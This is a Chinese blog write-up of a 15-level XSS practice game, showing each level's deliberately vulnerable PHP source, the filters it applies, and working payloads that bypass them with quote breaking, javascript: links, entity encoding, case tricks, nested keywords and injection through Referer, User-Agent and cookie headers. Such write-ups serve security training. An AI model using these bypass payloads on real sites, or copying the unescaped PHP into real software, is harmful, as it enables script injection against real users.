• xss小游戏源码分析


    配置

    下载地址:https://files.cnblogs.com/files/Lmg66/xssgame-master.zip
    使用:下载解压,放到www目录下(phpstudy),http服务下都行,我使用的是phpstudy

    第一关

    查看源码:

    <!DOCTYPE html>
    <head>
    <meta charset="utf-8">
    <script>
    window.alert = function()  
    {     
    confirm("哎哟 不错哦!");
    window.location.href="level2.php?keyword=跨站师"; 
    }
    </script>
    <title>第1关</title>
    </head>
    <body>
    <h1 align=center>第1关 先热个身吧</h1>
    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["name"];
    echo "<h2 align=center>欢迎用户:".$str."</h2>";
    ?>
    <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/8deed969-b339-4c84-8654-b1a1e40e06de.png" width="50%"></center>
    <?php 
    echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
    ?>
    </body>
    </html>
    

    分析:

    对name没有任何的过滤输出到标签中,基本的xss都行

    payload:

    level1.php?name=<script>alert('xss')</script>
    

    第二关

    查看源码:

    <!DOCTYPE html>
    <head>
    <meta charset="utf-8">
    <script>
    window.alert = function()  
    {     
    confirm("哎哟 不错哦!");
     window.location.href="level3.php?writing=苦尽甘来"; 
    }
    </script>
    <title>第2关</title>
    </head>
    <body>
    <h1 align=center>第2关 窒息的操作</h1>
    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form action=level2.php method=GET>
    <input name=keyword  value="'.$str.'">
    <input type=submit name=submit value="搜索"/>
    </form>
    </center>';
    ?>
    <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/688da926-8a0b-452a-9a2b-82ba919328fb.jpg"></center>
    <?php 
    echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
    ?>
    </body>
    </html>
    

    分析:

    用htmlspecialchars()函数,之前做过,会html实体化,<>会被转义
    可以尝试"来闭合"

    payload:

    " onclick=alert('XSS') //
    " onclick=alert('XSS') "
    

    第三关

    查看源码:

    <!DOCTYPE html>
    <head>
    <meta charset="utf-8">
    <script>
    window.alert = function()  
    {     
    confirm("哎哟 不错哦!");
     window.location.href="level4.php?keyword=宁静致远"; 
    }
    </script>
    <title>第3关</title>
    </head>
    <body>
    <h1 align=center>第3关 这该咋办啊</h1>
    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
    <form action=level3.php method=GET>
    <input name=keyword  value='".htmlspecialchars($str)."'>
    <input type=submit name=submit value=搜索 />
    </form>
    </center>";
    ?>
    <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/ee7a688a-d75e-4ed7-8a79-96e62d3127e2.png" width="15%"></center>
    <?php 
    echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
    ?>
    </body>
    </html>
    

    分析:

    和第二关类似,只是变成了单引号,闭合单引号即可

    payload:

    ' onclick=alert('xss') '
    ' onclick=alert('xs') //
    

    第四关

    查看源码:

    <!DOCTYPE html>
    <head>
    <meta charset="utf-8">
    <script>
    window.alert = function()  
    {     
    confirm("哎哟 不错哦!");
     window.location.href="level5.php?keyword=逆水行舟"; 
    }
    </script>
    <title>第4关</title>
    </head>
    <body>
    <h1 align=center>第4关 生无可恋</h1>
    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    $str2=str_replace(">","",$str);
    $str3=str_replace("<","",$str2);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form action=level4.php method=GET>
    <input name=keyword  value="'.$str3.'">
    <input type=submit name=submit value=搜索 />
    </form>
    </center>';
    ?>
    <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/0d3f0d24-a861-4d20-97da-f807ea842be8.jpg"></center>
    <?php 
    echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
    ?>
    </body>
    </html>
    

    分析:

    在第二关的基础上进行了< >的过滤,但第二关payload没有 < >仍然可以使用

    payload:

    " onclick=alert('XSS') //
    " onclick=alert('XSS') "
    

    第五关

    查看源码:

    <!DOCTYPE html>
    <head>
    <meta charset="utf-8">
    <script>
    window.alert = function()  
    {     
    confirm("哎哟 不错哦!");
     window.location.href="level6.php?keyword=柳暗花明"; 
    }
    </script>
    <title>第5关</title>
    </head>
    <body>
    <h1 align=center>第5关 没错又是搜索</h1>
    <?php 
    ini_set("display_errors", 0);
    $str = strtolower($_GET["keyword"]);
    $str2=str_replace("<script","<scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form action=level5.php method=GET>
    <input name=keyword  value="'.$str3.'">
    <input type=submit name=submit value=搜索 />
    </form>
    </center>';
    ?>
    <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/cb30e912-eabc-4357-89eb-49e8de1b1961.jpg"></center>
    <?php 
    echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
    ?>
    </body>
    </html>
    

    分析:

    strtolower()函数,把字符转换为小写,接着替换script标签和on使这个两个事件没法使用,但仍可以闭合引号,所以要使用其他标签通过javascript:alert('xss')来触发弹出

    payload:

    "><a href=javascript:alert('xss') "
    "><a href=javascript:alert('xss') //
    

    第六关

    查看源码:

    <!DOCTYPE html>
    <head>
    <meta charset="utf-8">
    <script>
    window.alert = function()  
    {     
    confirm("哎哟 不错哦!");
     window.location.href="level7.php?keyword=持之以恒"; 
    }
    </script>
    <title>第6关</title>
    </head>
    <body>
    <h1 align=center>第6关 嗯 还是搜索</h1>
    <?php
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    $str2=str_replace("<script","<scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    $str4=str_replace("src","sr_c",$str3);
    $str5=str_replace("data","da_ta",$str4);
    $str6=str_replace("href","hr_ef",$str5);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form action=level6.php method=GET>
    <input name=keyword  value="'.$str6.'">
    <input type=submit name=submit value=搜索 />
    </form>
    </center>';
    ?>
    <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/92847238-8dda-473f-9c04-83986de1472a.jpg"></center>
    <?php 
    echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
    ?>
    </body>
    </html>
    

    分析:

    替换了script标签,on,src,data,herf,且html实体化看起来似乎没问题,但相比前几关发现没有转换为小写,所以可大小写来绕过匹配

    payload:

    " ONclick=alert('XSS') //
    "><a Href=javascript:alert('XSS') //
    

    第7关

    查看源码:

    <!DOCTYPE html>
    <head>
    <meta charset="utf-8">
    <script>
    window.alert = function()  
    {     
    confirm("哎哟 不错哦!");
     window.location.href="level8.php?keyword=笨鸟先飞"; 
    }
    </script>
    <title>第7关</title>
    </head>
    <body>
    <h1 align=center>第7关 猜一猜下面题目还有搜索嘛</h1>
    <?php 
    ini_set("display_errors", 0);
    $str =strtolower( $_GET["keyword"]);
    $str2=str_replace("script","",$str);
    $str3=str_replace("on","",$str2);
    $str4=str_replace("src","",$str3);
    $str5=str_replace("data","",$str4);
    $str6=str_replace("href","",$str5);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form action=level7.php method=GET>
    <input name=keyword  value="'.$str6.'">
    <input type=submit name=submit value=搜索 />
    </form>
    </center>';
    ?>
    <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/17532328-f4cc-4bca-b283-c7f7b5a13f80.jpg" width="20%"></center>
    <?php 
    echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
    ?>
    </body>
    </html>
    

    分析:

    get方式传入keyword,strtolowe()函数变为小写,然后replace()函数匹配script,on,src,data,href,但是只是匹配了一次,所以可以嵌套绕过,最后htmlspecialchars(),所以< > 不能用,尝试闭合"

    payload:

    " oonnclick=alert('XSS') //
    

    第八关

    查看源码:

    <!DOCTYPE html>
    <head>
    <meta charset="utf-8">
    <script>
    window.alert = function()  
    {     
    confirm("哎哟 不错哦!");
     window.location.href="level9.php?keyword=水滴石穿"; 
    }
    </script>
    <title>第8关</title>
    </head>
    <body>
    <h1 align=center>第8关 老铁要和我换友链嘛?</h1>
    <?php 
    ini_set("display_errors", 0);
    $str = strtolower($_GET["keyword"]);
    $str2=str_replace("script","scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    $str4=str_replace("src","sr_c",$str3);
    $str5=str_replace("data","da_ta",$str4);
    $str6=str_replace("href","hr_ef",$str5);
    $str7=str_replace('"','&quot',$str6);
    echo '<center>
    <form action=level8.php method=GET>
    <input name=keyword  value="'.htmlspecialchars($str).'">
    <input type=submit name=submit value=添加友情链接 />
    </form>
    </center>';
    ?>
    <?php
     echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
    ?>
    <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/d2d2080f-746c-4276-9f63-585fc4fd4a9c.jpg" width="20%"></center>
    <?php 
    echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
    ?>
    </body>
    </html>
    

    分析:

    get方式传入keyword,strtolower()转换为小写,然后replace替换script,on,src,data,href,"("号html实体化了),然后发现又html实体化输入,似乎没有问题,然后发现友情链接,没有html实体化输入,可以尝试在这个位置绕过,但是都被过滤了,尝试编码绕过对JavaScript;alert('xss')编码(呸,不是编码)转义https://www.jianshu.com/p/6dcefb2a59b2(参考链接),目的是绕过replace,然后仍能被html解析

    payload:

    javascrip&#x74:alert('xss')
    javascrip&#x09t:alert('XSS')
    

    第九关

    查看源码:

    <!DOCTYPE html>
    <head>
    <meta charset="utf-8">
    <script>
    window.alert = function()  
    {     
    confirm("哎哟 不错哦!");
     window.location.href="level10.php?keyword=持之以恒"; 
    }
    </script>
    <title>第9关</title>
    </head>
    <body>
    <h1 align=center>第9关 添加友连again</h1>
    <?php 
    ini_set("display_errors", 0);
    $str = strtolower($_GET["keyword"]);
    $str2=str_replace("script","scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    $str4=str_replace("src","sr_c",$str3);
    $str5=str_replace("data","da_ta",$str4);
    $str6=str_replace("href","hr_ef",$str5);
    $str7=str_replace('"','&quot',$str6);
    echo '<center>
    <form action=level9.php method=GET>
    <input name=keyword  value="'.htmlspecialchars($str).'">
    <input type=submit name=submit value=添加友情链接 />
    </form>
    </center>';
    ?>
    <?php
    if(false===strpos($str7,'http://'))
    {
      echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
            }
    else
    {
      echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
    }
    ?>
    <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/51fb4236-2965-42ab-851e-0ec266b3c3ba.jpg"></center>
    <?php 
    echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
    ?>
    </body>
    </html>
    

    分析:

    和第八关相同,只是判断链接是否合法,加上http://就可以了

    payload:

    javascrip&#x74:alert('xss') //http://
    

    第十关

    查看源码:

    <!DOCTYPE html>
    <head>
    <meta charset="utf-8">
    <script>
    window.alert = function()  
    {     
    confirm("哎哟 不错哦!");
     window.location.href="level11.php?keyword=自强不息"; 
    }
    </script>
    <title>第10关</title>
    </head>
    <body>
    <h1 align=center>第10关 嗯 搜索又出现了</h1>
    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    $str11 = $_GET["t_sort"];
    $str22=str_replace(">","",$str11);
    $str33=str_replace("<","",$str22);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form id=search>
    <input name="t_link"  value="'.'" type="hidden">
    <input name="t_history"  value="'.'" type="hidden">
    <input name="t_sort"  value="'.$str33.'" type="hidden">
    </form>
    </center>';
    ?>
    <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/fed9cb1c-3111-49a8-b111-16081ac4b16c.jpg"></center>
    <?php 
    echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
    ?>
    </body>
    </html>
    

    分析:

    传入keyword和t_sort,keyword没有过滤,但是html实体化输出,而且没在标签内,所以应该没问题,看t_sort,过滤了< > ,而且没有实体化输出
    尝试闭合引号

    payload:

    ?keyword=123&t_sort=" type="text" onclick=alert('XSS') //

    第十一关

    查看源码:

    <!DOCTYPE html>
    <head>
    <meta charset="utf-8">
    <script>
    window.alert = function()  
    {     
    confirm("哎哟 不错哦!");
     window.location.href="level12.php?keyword=破釜沉舟"; 
    }
    </script>
    <title>第11关</title>
    </head>
    <body>
    <h1 align=center>第11关 为什么这么多搜索呢</h1>
    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    $str00 = $_GET["t_sort"];
    $str11=$_SERVER['HTTP_REFERER'];
    $str22=str_replace(">","",$str11);
    $str33=str_replace("<","",$str22);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form id=search>
    <input name="t_link"  value="'.'" type="hidden">
    <input name="t_history"  value="'.'" type="hidden">
    <input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
    <input name="t_ref"  value="'.$str33.'" type="hidden">
    </form>
    </center>';
    ?>
    <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/60a6e17f-c823-40c3-ab84-502b2f905456.jpg"></center>
    <?php 
    echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
    ?>
    </body>
    </html>
    

    分析:

    str和str00都html实体化而且不在script标签内部,且闭合为',应该无解,然后发现str33,没有实体化,$_SERVER['HTTP_REFERER']获取httpreferer信息,只是过滤了< > ,可以闭合双引号来绕过,不过我没明白这题啥用

    payload:

    " type = "text" onclick=alert('xss')//

    第十二关

    查看源码:

    <!DOCTYPE html>
    <head>
    <meta charset="utf-8">
    <script>
    window.alert = function()  
    {     
    confirm("哎哟 不错哦!");
     window.location.href="level13.php?keyword=矢志不渝"; 
    }
    </script>
    <title>第12关</title>
    </head>
    <body>
    <h1 align=center>第12关 黑人问号</h1>
    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    $str00 = $_GET["t_sort"];
    $str11=$_SERVER['HTTP_USER_AGENT'];
    $str22=str_replace(">","",$str11);
    $str33=str_replace("<","",$str22);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form id=search>
    <input name="t_link"  value="'.'" type="hidden">
    <input name="t_history"  value="'.'" type="hidden">
    <input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
    <input name="t_ua"  value="'.$str33.'" type="hidden">
    </form>
    </center>';
    ?>
    <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/f4558b8c-778b-4dd8-bef6-425766f9d178.jpg"></center>
    <?php 
    echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
    ?>
    </body>
    </html>
    

    分析:

    和上一关一样,xss位置变一下

    payload:

    " type = "text" onclick=alert('xss')//

    第十三关

    查看源码:

    <!DOCTYPE html>
    <head>
    <meta charset="utf-8">
    <script>
    window.alert = function()  
    {     
    confirm("哎哟 不错哦!");
     window.location.href="level14.php"; 
    }
    </script>
    <title>第13关</title>
    </head>
    <body>
    <h1 align=center>第13关 做题好爽啊</h1>
    <?php 
    setcookie("user", "call me maybe?", time()+3600);
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    $str00 = $_GET["t_sort"];
    $str11=$_COOKIE["user"];
    $str22=str_replace(">","",$str11);
    $str33=str_replace("<","",$str22);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form id=search>
    <input name="t_link"  value="'.'" type="hidden">
    <input name="t_history"  value="'.'" type="hidden">
    <input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
    <input name="t_cook"  value="'.$str33.'" type="hidden">
    </form>
    </center>';
    ?>
    <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/c048c2e3-7937-478b-9781-0ee4d7214648.jpg"></center>
    <?php 
    echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
    ?>
    </body>
    </html>
    

    分析:

    $_COOKIE["user"];获取cookie,然后过滤< > 没有实体化输入,尝试闭合双引号

    payload:

    user=" type = "text" onclick=alert('xss')//
    

    第十四关

    查看源码:

    <!DOCTYPE html>
    <head>
    <meta charset="utf-8">
    <script src="https://chao.jsanhuan.cn/angular.min.js"></script>
    <script>
    window.alert = function()  
    {     
    confirm("哎哟 不错哦!");
     window.location.href="level15.php?keyword=业精于勤"; 
    }
    </script>
    <title>第14关</title>
    </head>
    <h1 align=center>第14关 恭喜你快要通关了</h1>
    <p align=center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/54c95d0f-037b-4885-a3f4-f8a3ad5c9341.jpg" width="20%"></p>
    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["src"];
    echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
    ?>
    

    分析:

    传入src,然后实体化输出,然后似乎无解,仔细看前面ng-include:,
    ng-include 指令用于包含外部的 HTML 文件。包含的内容将作为指定元素的子节点。ng-include 属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。所以传入其他关的xss,不过不知道这有啥用既然其他地点有xss

    payload:

    src='level1.php?name=<img src=x onerror=alert(1)>'
    

    由于引用的js代码失败,所以我没成功,但云靶机是对的,云靶机地址:https://www.xss.tv/

    第十五关

    查看源码:

    <!DOCTYPE html>
    <head>
    <meta charset="utf-8">
    <script>
    window.alert = function()  
    {     
    confirm("ORZ ORZ ORZ 恭喜全部通过");
     window.location.href="success.txt"; 
    }
    </script>
    <title>第15关</title>
    </head>
    <body>
    <h1 align=center>第15关 厉害了 Word哥</h1>
    <?php 
    ini_set("display_errors", 0);
    $str = strtolower($_GET["keyword"]);
    $str2=str_replace("script","&nbsp;",$str);
    $str3=str_replace(" ","&nbsp;",$str2);
    $str4=str_replace("/","&nbsp;",$str3);
    $str5=str_replace("	","&nbsp;",$str4);
    echo "<center>".$str5."</center>";
    ?>
    <center><img src="https://dn-coding-net-tweet.codehub.cn/photo/2019/9ec67d16-a8b9-41cd-82fa-14b0c0f96e72.gif"</center>
    <?php 
    echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
    ?>
    </body>
    </html>
    

    分析:

    get传入可以word,转换为小写,让过滤script,空格,/,可以使用url编码来绕过

    符号 url编码
    回车 %0d
    换行 %0d
    payload:
    level15.php?keyword=<img%0asrc=x%0aonerror=alert('XSS')>
    

    参考文章

    国光大佬:https://www.sqlsec.com/2020/01/xss.html
    最后欢迎访问我的个人博客:https://lnng.top/

  • 相关阅读:
    获取从链接传来的id
    通过域名直接访问Tomcat项目解决方法
    线程与高并发
    阿里云部署javaWeb项目全过程
    前后端分离项目,支持跨域,session不丢失
    python函数
    装饰器
    迭代器和生成器
    C/C++ I/O处理
    C++虚函数
  • 原文地址:https://www.cnblogs.com/Lmg66/p/13323026.html
Copyright © 2020-2023  润新知